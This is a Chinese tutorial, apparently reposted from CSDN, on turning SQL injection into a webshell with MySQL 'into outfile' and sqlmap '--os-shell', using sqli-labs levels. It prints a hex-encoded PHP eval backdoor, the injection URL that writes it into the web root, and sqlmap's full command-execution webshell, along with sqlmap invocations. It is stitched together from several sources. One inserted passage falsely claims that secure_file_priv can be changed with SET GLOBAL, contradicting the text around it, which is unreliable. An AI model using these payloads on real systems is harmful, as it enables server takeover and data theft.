sql注入之getshell方式

介绍几种利用sql注入获取系统权限的方法,一是利用outfile函数,另外一种是利用--os-shell。

一. into outfile

利用条件

1. 此方法利用的先决条件

    web目录具有写权限,能够使用单引号
    知道网站绝对路径(根目录,或则是根目录往下的目录都行)
    secure_file_priv没有具体值(在mysql/my.ini中查看)

2. secure_file_priv

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。如下关于secure_file_priv的配置介绍

    secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

所以如果我们要想使用into outfile函数写入一句话的话就需要将secure_file_priv 的值设为没有值,那如何设置了?修改secure_file_priv 的值只能通过手动打开配置文件进行修改,不能直接使用sql语句进行修改

"secure_file_priv" 是 MySQL 数据库中的一个系统变量,用于限制数据文件(如表空间文件)的存储位置。当启用时,它确保只有拥有对应权限的用户才能访问或修改这些文件。这可以提高数据库的安全性,防止未授权访问。

如果你需要在 MySQL 中设置或修改 "secure_file_priv" 的值,可以通过以下命令:

SET GLOBAL secure_file_priv = '/path/to/directory';

或者,如果你想完全禁用这个设置,可以将其设置为空字符串:

SET GLOBAL secure_file_priv = '';

请注意,修改系统变量可能需要相应的权限,并且在生产环境中更改这些设置前应该进行充分的测试。

(1)看secure-file-priv参数的值

show global variables like '%secure%';

如下,secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

(2)修改secure_file_priv 的值

我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = '' 即可

此时再查看secure_file_priv的值如下已经变为空了

设置完成后我们就可以利用这个函数来写入一句话木马

写入webshell

我们以sqli-labs第七关为例

1. 注入点判断

输入正确的语法正常显示,错误的语法显示说语法错误,页面只存在两种状态,判断为盲注。我们输入?id=3')) and sleep(5) --+时成功延时,所以注入点就为3')),我们输入的字符被包含在单引号中,且单引号外有两个双括号包裹

2. 判断列数

我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

3. 写入webshell

加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话 “ <?php eval($_REQUEST[1]);?> ”。一句话建议进行十六进制转码(不用编码也可以) 16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具

编码后,然后在最前面加上 0x。如下我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中

?id=-3'))unionselect1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

成功写入,这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"\\"分隔路径的形式。 不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是"\",结果也就不会出问题了。

4. 连接webshell

成功连接

如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去。

所以没有写进去的情况有两种:

    网站的路径不对,或者没有使用双斜杠进行转义
    secure_file_priv的值不是为空

二. --os-shell

原理

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

此为sqlmap的一个命令,利用这条命令的先决条件:

    要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba
    secure_file_priv没有具体值
    知道网站的绝对路径

使用

我们以sqli-labs第一关为例

sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell

这里需要我们选择网站的脚本语言,和网站根路径

    [1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default) #sqlmap自带测试常规路径
    [2] custom location(s) #自己填写绝对路径
    [3] custom directory list file #自己填写目录字典,我们将字典所在的路径传过去就行
    [4] brute force search

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

    tmpbeewq.php 用来执行系统命令
    tmpuqvgw.php 用来上传文件

1. tmpbeewq.php的文件内容为

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

访问一下

2. 使用tmpuqvgw.php上传文件

我们上传一个php的一句话后门

访问

所以这两种方式都需要知道网站的绝对路径才行。

补充:

上面说了sqlmap写入webshell的方式有三种,缺一不可

    web目录具有写权限,能够使用单引号
    知道网站绝对路径
    secure_file_priv没有具体值(在mysql/my.ini中查看)

在最近的一次护网中,我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么了


--sql-shell

我们可以先使用这个来执行一些sql语句

sqlmap.py -u "xxx" --sql-shell

    查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)

select @@datadir;

    查看secure_file_priv的值是否为空

select @@secure_file_priv

如下为null,无法写入

当为空的时候则什么都不返回


                       
原文链接:https://blog.csdn.net/qq_44159028/article/details/116274542

                  

### 关于 `sqlmap` 使用 `--os-shell` 参数的教程 #### 工具概述 `sqlmap` 是一款功能强大的自动化 SQL 注入渗透测试工具,能够检测并利用多种类型的 SQL 注入漏洞。除了基本的数据提取外,它还支持高级操作,比如通过 `--os-shell` 获取目标系统的命令执行权限。 --- #### `-d` 和 `--os-shell` 参数详解 1. **`-d` 参数的作用** `-d` 参数允许用户直接指定一个已经保存的目标配置文件路径或数据库连接字符串来启动扫描过程。这可以简化重复输入相同参数的过程[^1]。 2. **`--os-shell` 参数的功能** 当存在高危 SQL 注入漏洞时,`sqlmap` 能够尝试提升权限至操作系统层面,并提供交互式的 Shell 接口供攻击者使用。此接口可用于运行任意系统命令,前提是满足以下条件: - 数据库用户的权限足够高(通常是 root 或具有管理员权限)。 - 目标环境支持特定的操作模式(如堆栈调整、UDF 加载等)。[^3] --- #### 实际案例分析 以下是几个实际使用的场景及其对应的命令: 1. **基于请求文件的方式** 如果已有一个包含 HTTP 请求包的 `.txt` 文件,则可以通过如下方式调用 `sqlmap` 并启用 `--os-shell` 功能: ```bash python sqlmap.py -r /path/to/request.txt --dbms=mysql --os-shell ``` 这里 `-r` 表示读取请求文件的内容作为输入源;`--dbms=mysql` 明确指定了目标数据库类型为 MySQL[^2]。 2. **基于 URL 的方式** 若知道具体的注入点 URL 地址,可以直接将其传递给程序: ```bash sqlmap -u "http://example.com/vuln?id=1" --is-dba --os-shell ``` 上述例子中,`--is-dba` 用来验证当前登录账户是否具备 DBA 权限,这是成功开启 OS Shell 的前提之一。 3. **结合其他选项增强效果** 对某些复杂情况可能还需要额外设置一些辅助开关,例如绕过 WAF 防护机制或者优化性能表现等等。下面展示了一个综合运用多个参数的例子: ```bash sqlmap -u "http://target.site/page.php?param=value" \ --random-agent \ --level=5 \ --risk=3 \ --technique=BETUQ \ --os-shell ``` --- #### 技术原理剖析 当触发 `--os-shell` 后,`sqlmap` 内部会经历以下几个阶段完成最终目的: 1. 自动探测适合的方法实现远程代码执行; 2. 构建临时存储空间存放必要的脚本组件; 3. 利用这些资源加载自定义函数到内存当中去; 4. 提供给前端图形化界面让用户自由下达各种指令直至结束整个流程为止[^4]。 需要注意的是,在真实环境中应用此类技术务必获得合法授权以免触犯法律! --- ```python import os command = input("Enter your command: ") result = os.popen(command).read() print(result) ``` 上述 Python 小片段展示了如何简单地接收用户输入并在本地终端上回显结果,类似于 `sqlmap` 执行后的行为模拟版本。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值